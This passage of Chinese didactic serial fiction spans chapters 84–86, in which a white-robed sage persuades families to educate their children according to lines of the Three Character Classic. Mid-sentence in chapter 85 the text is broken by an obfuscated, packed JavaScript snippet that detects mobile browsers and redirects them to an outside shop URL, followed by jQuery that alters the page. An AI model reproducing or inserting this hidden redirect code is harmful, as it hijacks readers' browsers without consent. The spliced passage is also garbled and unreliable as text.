赫连玉背诵《孝经》，朗朗上口；拓跋文拓跋章论述《论语》，切中肯綮；独孤诚解读《孟子》并述孝行，知行合一。外邑浪子观之，惭而服，揖道：“贵邑子弟，知书达礼，言行合一，吾等不及也！” 邑中耆老叹曰：“昔三家教子，或父过，或师惰，或严偏；今三家各明其责，子弟皆成美材。此谓‘教严’之功也！” 来人登台顶，临风而立，诵“养不教，父之过。教不严，师之惰”，声清越如金玉。诵罢，谓众曰：“养不教，父之过，过在溺爱；教不严，师之惰，惰在失职。今诸公知过补过，知惰改惰，子弟可成矣。” 赫连公拜问：“先生将去，何以长守此道？” 来人指心：“道在汝心，责在汝身。但时时自问：养可教否？教可严否？严可方否？父尽父责，师尽师责，则教严成矣。” 言毕，纵身跃上教严碑顶，足尖一点“严”字，身形如白虹经天，没入云端。众人仰观，唯见碑文光华流转，明伦鼓声余韵不绝。 尾声教严谣 十年后，严教邑更名“明伦城”。三家互通婚姻，无分门第。城中设“教严塾”，童蒙入学，先诵此章。有游学士子过境，见城中“父严子孝，师严徒勤，学风严谨”，问：“此城何化若此？” 老者答：“养而教，教而严，严而方。” “何以至此？” 童子诵《教严谣》： “治国平天下在教， 教严之道要记牢。 养不教是父之过， 教不严是师之惰。 赫连溺爱不教子， 养而不教子骄纵。 拓跋聘师不察惰， 教而不严徒怠学。 独孤严教偏经义， 严而无方子不端。 三家迷途不知返， 教严碑现警世语。 白衣点破教严理， 明伦台上指迷途。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为父，可知父责？子若为师，可知师责？养不教，父之过；教不严，师之惰。明此理，则天下子弟可教矣。” 士子惊寤，汗透重衣。翌日，严教其子，严束其徒，后皆成材。 城中教严碑，后人建“教严阁”护之，阁悬联：“养不教父之过警溺爱，教不严师之惰戒怠职”。有父不教、师不严者临碑，碑面自现箴言。人传：“此乃白衣仙人所留教严鉴也。” 本章诫世 一、 教严二训 - 养不教，父之过 - 教不严，师之惰 - 破解法：为人父，自问“养可教否？”；为人师，自问“教可严否？严可方否？” 二、 三家三失 - 赫连氏失于“不教”——养而不教，父之过 - 拓跋氏失于“不严”——教而不严，师之惰 - 独孤氏失于“无方”——严而无方，亦是惰 - 惕世：多少父母溺爱纵容，养而不教？多少师长疏懒怠职，教而不严？多少严师偏执一途，严而无方？ 三、 教养大道 - 深层隐喻：养如植根，教如修枝，严如剪叶，方如扶正。根不植则萎，枝不修则乱，叶不剪则蔽，正不扶则歪 - 终极指向：治国平天下，在教化。教化之基，在父教师严。父不教，师不严，则教化废，人材衰 教严偈： 严教邑里三家偏，各失教严教养篇。 赫连溺爱不教子，养而不教父之过。 拓跋聘师不察惰，教而不严师之惰。 独孤严教偏经义，严而无方亦是惰。 三家迷途不知返，教严碑现警世言。 白衣点破教严理，明伦台上指玄天。 养不教是父之过，教不严是师之惰。 赫连严教子成器，拓跋严师徒勤学。 独孤教方子端方，三家归正子弟贤。 后世叹： 养不教是父之过，教不严是师之惰。 赫连溺爱子骄纵，拓跋师惰徒怠学。 独孤严偏子不端，三家迷途各倒颠。 教严碑前现异象，白衣指点教严篇。 正是： 治国平天下在教，教严之道要记牢。 养不教是父之过，教不严是师之惰。 赫连溺爱不教子，拓跋聘师不察惰。 独孤严教偏经义，三家迷途各倒颠。 白衣点破教严理，明伦台上指真诠。 85.幼学谳 楔子·幼学碑 江左有古城名“劝学邑”，城西“幼学台”上立“幼学碑”，碑分两面，一面镌“子不学，非所宜”，字迹清隽如童子开笔；一面镌“幼不学，老何为”，笔意苍劲如老叟扶杖。相传为前代劝学大儒所立，百年风雨，碑面光滑如镜。 邑中三大富室：沈氏有独子沈玉，年方十岁，厌学贪玩，终日斗蟋蟀放纸鸢；文氏有幼女文秀，年方九岁，父母怜其体弱，不令就学，日居绣楼；秦氏有孪生子秦风、秦月，年方八岁，父早逝，母溺爱，任其嬉戏。三家子女皆不学，邑人窃议“富室出纨绔”。 是年花朝，幼学碑忽生异象：“非所宜”三字蒙尘如雾；“老何为”三字裂纹如老叟皱纹。三家家主观碑，各怀惭怍。 二月十五，邑中行“开蒙祭”，百童诵《三字经》。正诵至“子不学，非所宜”一节，忽闻学塾中那方“劝学砚”发出“铮”然清鸣——本是青石砚台，此刻无风自震，一人自墨光中踏出，如学魂化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清冽如寒泉；着一身云纹素罗深衣，衣摆以银丝绣着两幅图景：左为“幼童诵经”，右为“老叟悔学”，暗合“幼学”之旨。外罩一件无袖素纱氅衣，氅角缀两枚玉砚，砚砚相叠，寂然无声。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如书页叠章，隐现翰墨幽香。足踏素锦踏云履，履尖微翘，不染尘埃。 身形清雅，立于劝学砚侧，帷笠轻纱与墨香同漾，竟似从书香中化出的灵慧。台下观者愕然，疑是古贤再世。 来人以木剑轻点砚中残墨，墨珠跃起成字： “幼不学，老何为！” 剑尖再点： “子不学，非所宜！” 诵罢，木剑遥指幼学碑：“三家家主，可愿登台观碑？” 沈、文、秦三主相顾赧然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘幼学’公案，可请三公分观。观毕，再论学业。” 一、 厌学之非（沈氏） 沈氏为盐商巨贾，家资万贯。家主沈公，年过四旬方得独子沈玉，爱如珍宝。沈玉年方十岁，厌学贪玩：请西席，不过三日必气走先生；入蒙馆，不过半日必逃学嬉戏。终日只知斗蟋蟀、放纸鸢、弄虫鸟。沈公每欲管教，沈玉辄以绝食哭闹要挟，沈公无奈，只得听之。上月，沈玉为斗蟋蟀，毁邻家菜圃，沈公赔银十两了事。 来人引沈公至“子不学，非所宜”碑前。三字蒙尘，以袖拂之，尘灰飞扬。沈公掩面。 “子不学，非所宜。幼不学，老何为。”来人问，“沈公子可曾就学？” 沈公叹道：“吾儿不喜读书…” “不喜，便可不为？”来人召沈玉至前，问：“可会书写姓名？”玉摇头。问：“可识数字？”玉嬉笑：“识得骰子点数！”问：“可知孝悌？”玉撇嘴：“有银钱便是孝！” 沈公色变。来人叹：“玉不琢，不成器。子不学，不成人。公但知纵容，不知管教，是爱子，是害子？他日成人，目不识丁，手无寸能，何以立世？幼不学，老何为——老来悔之晚矣！” 又引至沈玉书房，但见蟋蟀罐、纸鸢、鸟笼堆积，无一本书。问：“此可称书房？公为父，可尽父责？子不学，非所宜，宜者，当为也。子不当为，父当导之。” 恰此时，书房“诗礼传家”匾额绳索骤断，匾落尘埃。沈公骇。来人道：“今有一法可解：严加管教。子不学，非所宜；今教之学，宜其所宜。” 沈公为难：“吾儿顽劣，恐难管教。” “顽劣不教，是纵其顽劣。昔周处为患，父老不教，终为乡里害。公欲子为周处乎？”来人正色。 沈公从之，即延严师，立规矩，禁嬉戏。是夜，“非所宜”三字尘灰自落。来人教“导学法”：子不学，当导之；导而不学，当严之。严而不苛，方为善教。 二、 不学之怜（文氏） 文氏为书香门第，历代有女子工诗善画。现任家主文公，有独女文秀，年方九岁，体弱多病。文公夫妇怜其孱弱，不令就学，日居绣楼，只教女红。文秀聪慧，偶闻兄长读书，辄能暗记，然父母恐其劳神，禁之。上月，文秀偷读《女诫》，被母发觉，书遭焚毁。 来人引文公至“幼不学，老何为”碑前。三字裂纹，以手抚之，裂痕如壑。文公蹙眉。 “子不学，非所宜。幼不学，老何为。”来人问，“文小姐可曾就学？” 文公叹道：“小女体弱，恐读书伤神…” “体弱，便可不学？”来人召文秀至前，隔帘问：“可愿读书？”秀低声道：“愿。”问：“可曾偷读？”秀赧然：“偷读《诗经》，只记三五篇。”问：“可明其义？”秀细声解“关关雎鸠”，竟能道出“淑女之德”。 文公愕然。来人叹：“体弱非不学之由。昔谢道韫幼时体弱，勤学不辍，终成咏絮之才。今小姐有才，公不教，是爱女，是误女？幼不学，老何为——老来无才，何以自立？” 又引至文秀绣楼，但见绣架针线，无一本书。问：“此可称闺阁？女子无才便是德，此言误人。才德兼备，方为淑女。公忍令明珠蒙尘？” 恰此时，绣楼“蕙质兰心”匾额蛛网骤结，如蒙尘垢。文公惧。来人道：“今有一法可解：许其就学。子不学，非所宜，男女皆然。幼不学，老何为，男女同慨。” 文公犹豫：“女子读书，恐惹非议…” “非议可畏，误女可畏？”来人正色，“昔班昭续《汉书》，蔡琰作《悲愤》，皆女子才学。公欲女为才女，抑为愚妇？” 文公从之，即允文秀就学，聘女师教授。是夜，“老何为”三字裂纹渐合。来人教“女学法”：女子亦子，不学非宜。因材施教，可成闺秀。 三、 失学之溺（秦氏） 秦氏为布商之家，家道小康。家主秦公早逝，遗孀秦夫人抚养孪生子秦风、秦月，年方八岁。秦夫人怜子失怙，溺爱无度，任其嬉戏，不令就学。二子终日掏鸟窝、捉泥鳅、打水漂，浑身泥泞。邻童皆入蒙馆，二子只在野外。上月，二子为捉知了，毁人桑林，秦夫人赔银五两，仍不责子。 来人引秦夫人至“幼不学，老何为”碑前。细观碑文，但见“幼”字有瑕，似被污渍浸染。秦夫人垂泪。 “子不学，非所宜。幼不学，老何为。”来人问，“二位公子可曾就学？” 秦夫人泣道：“先夫早逝，妾不忍苛责…” “不忍，便可纵之？”来人召秦风、秦月至前，问：“可会书写父名？”二子摇头。问：“可知母苦？”二子茫然。问：“可晓家计？”二子嬉笑：“有母在，何须晓？” 秦夫人色变。来人叹：“失怙非不学之由。昔欧阳修四岁失怙，母荻画地教子，终成文宗。今夫人不教，是爱子，是误子？幼不学，老何为——老来无成，何以慰先夫于九泉？” 又引至秦家院落，但见泥鳅罐、鸟笼、弹弓堆积，无一本书。问：“此可称家室？先夫若在，可许子如此？子不学，非所宜，失怙子尤宜学！” 恰此时，院中“耕读传家”匾额无故斜挂，似将坠落。秦夫人惊。来人道：“今有一法可解：送子就学。幼不学，老何为，今学之，犹未晚。” 秦夫人为难：“家计艰难，无力延师…” “邑有义塾，可送之。母荻画地，岂因家贫？”来人正色。 秦夫人从之，即送二子入义塾。是夜，“幼不学”三字污渍渐消。来人教“孤学法”：失怙子，当力学，以慰先人，以立己身。母教子学，是为大慈。 四、 幼学会 三家悔改，聚于幼学台。来人指碑全文： “子不学，非所宜。幼不学，老何为。今三家各明其理：沈公知严，文公知允，秦夫人知教。善哉！” 沈公问：“吾等已改，然邑中仍有厌学、不学、失学童子，何以化之？” “以幼学化之。”来人召邑民聚台下，令三家自述其过。 沈公述纵子：“吾纵子厌学，是吾过也。今知子不学，非所宜，愿严加管教，导之向学。” 文公述禁女：“吾禁女就学，是吾过也。今知幼不学，老何为，男女皆然，愿许女读书，成其才德。” 秦夫人述溺子：“吾溺子不教，是吾过也。今知幼不学，老何为，失怙子尤宜学，愿送子就学，以慰先夫。” 邑民闻之，多有感发。有纵子厌学者警醒，有禁女就学者开明，有溺子不学者送学。三月间，邑中童子就学之风大盛。 来人教“幼学化民法”：择邑中贤达，立“劝学会”，每岁春秋，聚于台下，以“子不学，非所宜；幼不学，老何为”相劝勉。又制“幼学榜”，彰表勤学童子。 五、 何为谳 九月初九，重阳日，劝学邑办“劝学祭”，三家子女齐聚。忽有外邑“纨绔子”三人前来讥嘲，谓“劝学邑童子皆书蠹，不知嬉戏之乐”。邑民愤慨，来人止之，召三家子女，会于幼学台。 是日，祭典方启，主祭人正诵“幼不学，老何为”，忽闻幼学台中央那架“劝学钟”发出“咚”然震响——钟声自鸣，一人自钟声中踏光而出，如学魂化形。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于钟架之上，衣袂与钟声同振。 “善哉！三家已明幼学之要。”来人朗声道，“子不学，非所宜。幼不学，老何为。今三家子女，各勤其学，可会外邑纨绔。” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115885|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“沈玉，可诵《论语》；文秀，可解《诗经》；秦风秦月，可背《孝经》。幼而学，知礼仪，何惧讥嘲？” 沈玉背诵《论语·学而》，琅琅上口；文秀解读《诗经·关雎》，阐发淑德；秦风秦月背诵《孝经·开宗明义》，声情并茂。外邑纨绔观之，惭而服，揖道：“贵邑童子，知书达礼，吾等不及也！” 邑中耆老叹曰：“昔三家子女，或厌学，或不学，或失学；今三家各明其理，子女皆勤学。此谓‘幼学’之功也！” 来人登台顶，临风而立，诵“子不学，非所宜。幼不学，老何为”，声清越如金玉。诵罢，谓众曰：“子不学，非所宜，宜在当学；幼不学，老何为，为在当下。今诸童子知学勤学，他日可成栋梁。” 沈公拜问：“先生将去，何以长守此学？” 来人指心：“学在汝心，志在汝行。但时时自问：子不学，可宜否？幼不学，可为何？知不宜，当勤学；知何为，当力学。如此，则幼学成矣。” 言毕，纵身跃上幼学碑顶，足尖一点“学”字，身形如白虹经天，没入云端。众人仰观，唯见碑文光华流转，劝学钟声余韵不绝。 尾声幼学谣 十年后，劝学邑更名“勤学城”。三家互通婚姻，无分贫富。城中设“幼学塾”，童蒙入学，先诵此章。有游学士子过境，见城中“童子勤学，少年笃志，青年有为”，问：“此城何化若此？” 老者答：“子不学，非所宜；幼不学，老何为。人人知此，故人人勤学。” “何以至此？” 童子诵《幼学谣》： “治国平天下在学， 幼学之道要记牢。 子不学兮非所宜， 幼不学兮老何为。 沈氏纵子厌学嬉， 子不学非所宜兮。 文氏禁女不令学， 幼不学老何为兮。 秦氏溺子任嬉戏， 幼不学老何为兮。 三家迷途不知返， 幼学碑现警世语。 白衣点破幼学理， 劝学台上指迷途。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为父，可知子不学非所宜？子若为师，可知幼不学老何为？明此理，则天下童子可教矣。” 士子惊寤，汗透重衣。翌日，访得三家教子之法，归而教子，后皆成材。 城中幼学碑，后人建“幼学阁”护之，阁悬联：“子不学非所宜警厌学，幼不学老何为戒嬉游”。有子不学、幼不学者临碑，碑面自现箴言。人传：“此乃白衣仙人所留幼学鉴也。” 本章诫世 一、 幼学二训 - 子不学，非所宜 - 幼不学，老何为 - 破解法：为人父母，自问“子不学，可宜否？”；为人师长，自问“幼不学，可为何？” 二、 三家三失 - 沈氏失于“厌学”——纵子厌学，子不学非所宜 - 文氏失于“不学”——禁女不学，幼不学老何为 - 秦氏失于“失学”——溺子不学，幼不学老何为 - 惕世：多少父母纵子厌学，以为孩童天性？多少人家禁女读书，以为女子无才？多少孤寡溺子不教，以为怜其失怙？ 三、 劝学大道 - 深层隐喻：学如春苗，不学则萎。幼时不学，如苗不溉，老来无成，如树无果 - 终极指向：治国平天下，在人才。人才之基，在幼学。幼不学，则人才衰；人才衰，则国运颓 幼学偈： 劝学邑里三家偏，各失幼学教养篇。 沈氏纵子厌学嬉，子不学非所宜兮。 文氏禁女不令学，幼不学老何为兮。 秦氏溺子任嬉戏，幼不学老何为兮。 三家迷途不知返，幼学碑现警世言。 白衣点破幼学理，劝学台上指玄天。 子不学兮非所宜，幼不学兮老何为。 沈氏严教子勤学，文氏许女学成才。 秦氏送子入义塾，三家归正子弟贤。 后世叹： 子不学兮非所宜，幼不学兮老何为。 沈氏纵子厌学嬉，文氏禁女不令学。 秦氏溺子任嬉戏，三家迷途各倒颠。 幼学碑前现异象，白衣指点幼学篇。 正是： 治国平天下在学，幼学之道要记牢。 子不学兮非所宜，幼不学兮老何为。 沈氏纵子厌学嬉，文氏禁女不令学。 秦氏溺子任嬉戏，三家迷途各倒颠。 白衣点破幼学理，劝学台上指真诠。 86.琢玉谳 楔子·陋巷三石 东郭坊乃云州城最是鱼龙混杂之处。巷口第三家豆腐坊，店主陈三，每日寅时起身磨豆，辰时开张，十年如一日。他有个儿子陈石，今年十二，生得机灵，却最厌读书。陈三每每劝他：“儿啊，人不学，不知义。你看隔壁王秀才……”话未说完，陈石已捂着耳朵溜去巷尾，看卖艺的翻筋斗去了。 巷尾有个铁匠铺，主人赵铁锤，人如其名，一身疙瘩肉，打起铁来火星四溅。他有个徒弟名唤石娃，十五岁，臂力惊人，抡得动二十斤大锤，可就是性子野得很，师傅说东，他偏往西。赵铁锤骂他：“你这块顽石，玉不琢不成器，人不学不知义，懂不？”石娃把铁锤一扔：“俺学打铁不就成了？学那些劳什子作甚！” 巷子深处有家小茶铺，店主是个寡妇柳氏，丈夫早逝，留了个女儿唤作柳叶，年方十一，生得水灵，却是个闷葫芦。柳氏省吃俭用，送女儿去女塾认字，可柳叶去了三日，回来就掉眼泪——同窗嫌她身上豆腥味。自那以后，她再也不肯上学，只整日帮母亲洗茶碗、擦桌子。柳氏叹气：“叶儿，玉不琢不成器……”柳叶低着头，手指绞着衣角，一声不吭。 这是宣和十七年九月廿三，秋雨初霁。东郭坊的早市刚刚开张，豆腐坊的白汽、铁匠铺的黑烟、茶铺的茶香混在一处，蒸腾出市井特有的暖意。 一、 豆腐坊的石坯子 陈三的豆腐是东郭坊一绝，白嫩如脂，入口即化。这日卯时，他正点卤，忽见一个白衣人立在铺前。 来人戴着一顶竹丝编的斗笠，笠檐压得很低，遮去大半面容，只露出清瘦的下巴。一袭素白麻布长衫洗得发白，袖口挽起，露出手腕上几道浅浅的疤痕。腰间悬着一柄无鞘木剑，剑身纹理如老树盘根。最奇的是面上那方棉纱，浆洗得挺括，在晨雾中泛着月白的光。 “掌柜的，来碗豆腐脑，多放辣子。”声音很平，听不出年纪。 陈三应了声，盛了满满一大碗。那人并不就座，就站在石磨旁，用木匙慢慢搅着，忽道：“掌柜有个儿子？” 陈三一愣：“您怎知？” “磨盘上有本《三字经》，书角都卷了，应是时常翻阅的。可见掌柜是读书人。” 陈三苦笑：“读过几年私塾，后来家道中落……让您见笑。” “既读书，当知‘玉不琢，不成器’。”那人啜了口豆腐脑，“为何不琢令郎这块玉？” 陈三的手抖了一下，卤水洒出几滴。他擦了擦手，长叹一声：“先生有所不知，我那小子……”便将陈石如何逃学、如何贪玩、如何听不进劝，一五一十说了。 白衣人静静听着，待陈三说完，才道：“玉不琢，不成器。琢玉要用锉、用刀、用水磨。掌柜用的是什么？” 陈三怔住。 “你用的是嘴。”白衣人放下碗，木匙在碗沿轻轻一叩，“只说‘人不学，不知义’，可曾教他何为义？可曾让他见过不学之人的下场？可曾让他明白，不学，将来就只能像你一样，寅时起身磨豆，一日不磨，一日无食？” 这话说得重，陈三脸上红一阵白一阵。 “我不是瞧不起磨豆腐的。”白衣人忽然放软语气，“三百六十行，行行出状元。但你既望子读书，就该琢他这块玉。不琢，永远是块石头。”他往桌上放了三个铜板，“明日此时，我带他去个地方。” 陈石这日又逃了学，溜到城隍庙看人赌骰子。正看得起劲，后领忽然一紧——是那白衣人。 “小兄弟，带你看场戏。” “我不去！你谁啊！”陈石挣扎。 白衣人也不言语，提着他穿街过巷，来到西市口。那里跪着一排人，个个蓬头垢面，脚上戴着镣铐。旁边有个文吏模样的人，正拿着册子念： “张二狗，目不识丁，受人诓骗，在借据上按手印，将祖宅抵了十两银，现流落街头……” “李三，不识契文，租田时被人做了手脚，五年白耕，倒欠田主三十石谷……” “王老四，不晓律法，与人争执，误伤人命，判流放三千里……” 文吏每念一桩，人群里就发出一阵唏嘘。陈石看得呆了，他从未想过，不识字竟能落到这般田地。 回去的路上，白衣人问他：“看出什么了？” 陈石低着头，半晌才说：“他们……都是吃了不识字的亏。” “不只是识字。”白衣人停下脚步，从怀里掏出一块鹅卵石，又掏出一块玉佩，放在陈石掌心，“你看，这块石头，生在河边，千年万年还是石头。这块玉，原是石头，经了琢磨，方成美器。人不学，就如这石头，永远只是石头。学了，才能成器，才知什么是义，什么是耻，什么是人该有的活法。” 陈石攥着那块玉佩，手心汗津津的。他想起父亲佝偻着身子推磨的样子，想起母亲夜里在油灯下补他撕破的书包，忽然觉得鼻子发酸。 “我不做石头。”他小声说。 “那要琢。”白衣人拍了拍他的肩，“很疼，但值得。” 二、 铁匠铺的顽铁 赵铁锤这几日很愁。石娃这浑小子，前日差点闯出大祸——西街绸缎庄的少东家来打柄剑，石娃抡锤时走了神，火星子溅到人家锦袍上，烫了个窟窿。少东家不依不饶，最后赔了三两银子才罢休。 “你这块顽铁！”赵铁锤气得胡子直抖，“怎么就琢不成器！” “俺又不是玉！”石娃梗着脖子。 正闹着，白衣人挑帘进来。他今日换了装束，斗笠去了，露出一头用木簪草草绾起的发，面上仍是那方棉纱。一身粗布短打，像是码头扛活的脚夫，可那柄木剑还悬在腰间，透着违和。 “掌柜的，打把菜刀。”他声音有些哑。 赵铁锤闷声应了，拉风箱，烧铁。白衣人却不看炉子，只盯着墙上那排打好的农具——锄头、镰刀、犁铧，一应俱全，可都粗笨得很，刃口也不甚齐整。 “掌柜的手艺，十年如一日。”白衣人忽然说。 赵铁锤手一顿：“客官这话……” “没长进。”三个字，轻飘飘的，却像锤子砸在砧板上。 石娃不干了：“你谁啊！凭什么说我师傅！” “凭你打的这些。”白衣人随手拎起一把镰刀，屈指一弹，声音沉闷，“铁是好铁，可淬火差了火候，刃口卷了。这样的镰刀，割三亩稻子就得回炉。你师傅教了你十年，你就学成这样？” 石娃脸涨得通红。 赵铁锤却摆了摆手，看向白衣人：“客官是行家？” “略懂。”白衣人走到炉前，示意赵铁锤让开。他接过铁钳，夹起一块烧红的铁，放在砧上，抡起铁锤。 那一锤下去，声音竟完全不同——清脆、绵长，像庙里的钟。接着是第二锤、第三锤……锤锤落在要紧处，火星子溅得有章有法。不过一盏茶功夫，一块顽铁在他手里渐渐有了刀的雏形。 赵铁锤看呆了。他打了三十年铁，从未见过这样的锤法——不单是力气，更是眼力、心力。每一锤都恰到好处，多一分则过，少一分则欠。 “这是……” “百炼钢的法子。”白衣人把成形的刀坯浸入水中，滋啦一声白汽腾起，“《天工开物》里写得明白，可你师徒谁读过？” 师徒二人面面相觑。 “玉不琢，不成器。铁不打，不成钢。”白衣人擦了擦手，“打铁不只是力气活。要知火候，看焰色；要懂淬火，看水纹；要明锻打，听声音。这些，书里都有。不学，你就永远是个铁匠，成不了匠师。” 他看向石娃：“你有力气，是块好料。可好料不琢，就是废铁。你师傅肯教你，是你的造化。可你不学，不上心，把打铁当成混饭吃的营生。将来你师傅老了，打不动了，你怎么办？还打这种镰刀？” 石娃垂着头，半晌，忽然跪下，对着赵铁锤磕了个头：“师傅，俺错了。俺学，俺好好学。” 赵铁锤眼眶有点热，扶起徒弟，转身对白衣人长揖到地：“请教先生高姓大名？” “不必问。”白衣人摆摆手，从怀里掏出本书，纸张泛黄，是手抄的《锻冶辑要》，“这本书，给你师徒。字认不全，去问陈石，他这几日该用功了。” 三、 茶铺的璞玉 柳叶这几日有些奇怪。每日清晨，她去井边打水，总能遇见那个白衣人。 那人总坐在井台边的老槐树下，膝上摊着一卷书，有时是《女儿经》，有时是《闺训》。见了柳叶，便招手让她过去，问几个字。起初柳叶怯生生的，低着头不敢说话。后来见那人眼神温和，声音也轻，才慢慢敢回答。 “这个字念什么？” “……义。义气的义。” “对。那‘玉不琢，不成器。人不学，不知义’，是什么意思？” 柳叶咬着唇，摇头。 白衣人合上书，从怀里摸出两样东西：一块粗粝的石头，一枚温润的玉佩。 “你看，这块玉，原也是石头。匠人得了它，要先去皮，看纹理；再切割，定形状；然后粗磨，细琢，抛光……每一道工序，都要用心，都要疼。可疼过了，就成了美器。”他顿了顿，“人不学，就像这块石头，永远不知道自己能成什么样子。学了，才知道什么是美，什么是善，什么是义，才知道人该怎么活，才不算白活一场。” 柳叶怔怔地看着那块玉佩。晨光透过树叶洒下来，玉佩泛着柔柔的光泽，真好看。 “你娘送你上学，是疼你，想琢你这块玉。同窗嫌你，是她们的眼被尘蒙了，看不见璞玉里的光华。可你不能因为别人蒙了眼，就把自己也变成石头。” 柳叶的眼泪吧嗒吧嗒往下掉。 “想读书么？” “……想。” “那就读。”白衣人把《女儿经》塞进她手里，“不认识的字，来问我。我每日卯时在此。” 自那以后，柳叶每日早早起来，打了水，就跑到老槐树下。白衣人果真在那里，教她认字，教她念诗，教她“女子也有女子的道义”。 柳氏很快察觉女儿的变化——眼里有了神采，说话有了条理，有时还能念几句诗。她偷偷去井边看过，看见女儿捧着书，一个字一个字地念，那白衣人静静地听，偶尔纠正，目光里有一种她说不清的东西，像是慈悲，又像是期许。 这日，柳氏煮了碗桂花圆子，端到树下。 “先生，多谢您教小女……” 白衣人摆摆手，接过碗，却不吃，只问：“掌柜的，你可知道，你女儿是块璞玉？” 柳氏苦笑：“什么玉不玉的，女孩子家，认得几个字，将来找个好人家……” “然后呢？”白衣人打断她，“相夫教子，浑浑噩噩过一辈子？掌柜的，你也是女子，你愿意你女儿像你一样，丈夫去得早，只能守着茶铺，每日擦桌洗碗，夜里对着一盏孤灯，连个说话的人都没有？” 这话戳了柳氏的心窝，她背过身去抹泪。 “我不是说这样不好。”白衣人声音缓下来，“可人活一世，总该知道，自己除了是某人的女儿、某人的妻子、某人的母亲，还是自己。读书，就是为了明白这个‘自己’。玉不琢，不成器。女子也是人，也该琢，也该成器。” 柳氏转过身，深深一福：“求先生教我女儿。” “我教她认字，你教她做人。”白衣人扶起她，“茶铺里人来人往，是世间百态。让她多看，多听，多想。见了穷苦人，送碗热茶；见了伤心人，说句宽慰话。这就是义，是书本里没有的义。” 他顿了顿，望向巷子深处：“这三家的孩子，各有各的顽劣，各有各的委屈。可都是玉，都是可琢的玉。就看大人们，肯不肯下功夫去琢了。” 四、 琢玉会 转眼过了半月。这日清晨，白衣人将三家大人小孩都叫到老槐树下。 陈石手里捧着《三字经》，背得结结巴巴，但总算能背下大半。石娃捧着一柄新打的柴刀，刃口平整，淬火均匀，是照着《锻冶辑要》打的。柳叶捧着一页纸，上面是她自己写的诗，字还歪扭，意思却清浅： “井边老槐叶青青，白衣先生教我经。玉不琢时不成器，人不学不知义。” 白衣人一一看过，点了点头，又摇了摇头。 “不够。”他说。 众人一愣。 “陈石，你背《三字经》，可知‘人之初，性本善’何解？” 陈石摇头。 “石娃，你打这柴刀，可知为何要用山泉水淬火？” 石娃挠头。 “柳叶，你写这诗，可知‘义’字怎么写？” 柳叶低头。 “玉不琢，不成器。你们现在，只是粗粗磨去了石皮，离成器还远。”白衣人从怀里掏出三块玉佩雏形，分给三人，“这玉，我粗磨了，给你们。往后十年，你们自己琢。陈石，你要琢到能解经义；石娃，你要琢到能打百炼钢；柳叶，你要琢到能明道义。十年后，我会回来看。若还是这般模样——” 他顿了顿，声音很轻，却重如千钧： “就真成了石头了。” 陈三、赵铁锤、柳氏都肃然。三个孩子捧着玉佩雏形，像是捧着什么极其贵重的东西。 白衣人转身，朝巷子深处走去。晨光拉 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茶铺还是那间茶铺，柳氏却已不怎么动手了。柳叶成了掌柜，还兼着女塾的先生。她把铺子隔出半间，摆上书架，让来喝茶的穷孩子免费看书。有那等闲人说闲话：“女子抛头露面，成何体统。”柳叶不恼，只笑：“人不学，不知义。我教人知义，有什么不好？” 九月廿三，晨，雨霁。 三人不约而同聚到老槐树下。那树又粗了一圈，井台也修葺过了。他们手里都捧着那块玉佩——陈石的琢成了玉牌，刻着“琢玉”二字；石娃的琢成了剑形，是他自己打的模子；柳叶的琢成了柳叶状，薄如蝉翼，对着光能看见叶脉。 “十年了。”陈石说。 “先生会来么？”柳叶问。 “他说来，就会来。”石娃很肯定。 可他们等了一日，白衣人没有来。只在天擦黑时，一个十来岁的小乞儿跑过来，递过一封信。 信上只有十六个字，是上好的宣纸，墨迹淋漓： “玉已成器，不须再琢。人既知义，何必见我。” 三人捧着信，对着暮色，忽然都红了眼眶。 小乞儿又说：“那位白衣服的先生还说，他留了三本书，在井台石板下。” 他们撬开石板，果然有三本用油布包好的书。陈石那本是《论语集注》，石娃那本是《天工开物》全本，柳叶那本是《古今列女传》。每本书的扉页，都用朱笔画了块未琢的璞玉，玉旁一行小字： “玉不琢，不成器。人不学，不知义。琢玉十年，今赠尔等。往后百年，尔等亦是琢玉人。” 井水幽幽地映着暮色。远处传来豆腐坊的磨声，铁匠铺的锤声，茶铺的读书声。东郭坊的灯火，一盏一盏亮起来。 尾声琢玉谣 又过了十年，东郭坊出了三位奇人：陈石中了举，却不肯做官，在坊里开了间义塾，专收穷人家孩子；石娃成了云州首屈一指的匠师，每年拿出三成利钱，资助贫寒子弟学手艺；柳叶的女塾越办越大，收了三十几个女学生，有富家千金，也有灶下婢女。 坊里的孩子都会念一首童谣，是陈石写的： “东郭坊，有三奇， 豆腐西施铁匠诗。 玉不琢，不成器， 人不学，不知义。 陈石琢玉成秀才， 石娃打铁作匠师。 柳叶烹茶教女经， 三人皆从琢玉始。 若问琢玉人何在， 老槐树下井水深。” 有个游学士子路过，听了这童谣，好奇去问陈石：“玉不琢，不成器——这琢玉人究竟是谁？” 陈石正在磨豆腐，闻言停下手，望向窗外那棵老槐。 “是个白衣人。”他说。 “什么样的白衣人？” “戴着斗笠，蒙着面纱，悬着木剑。”陈石想了想，又添了句，“眼睛很亮，像是……能把人心里那点蒙尘都照见。” 士子追问：“后来呢？” “后来他就走了。”陈石推起石磨，豆汁汩汩流出，“留下句话，说往后百年，我们都是琢玉人。” 那天夜里，士子宿在坊中客栈。梦见一个白衣人影坐在井边，膝上摊着一本书，正低声教一个小女孩认字： “这个字念义。义气的义。玉不琢，不成器。人不学，不知义……” 醒来时，天已微明。他推开窗，看见陈石的义塾里，三十几个孩子正摇头晃脑地念： “玉不琢，不成器。人不学，不知义……” 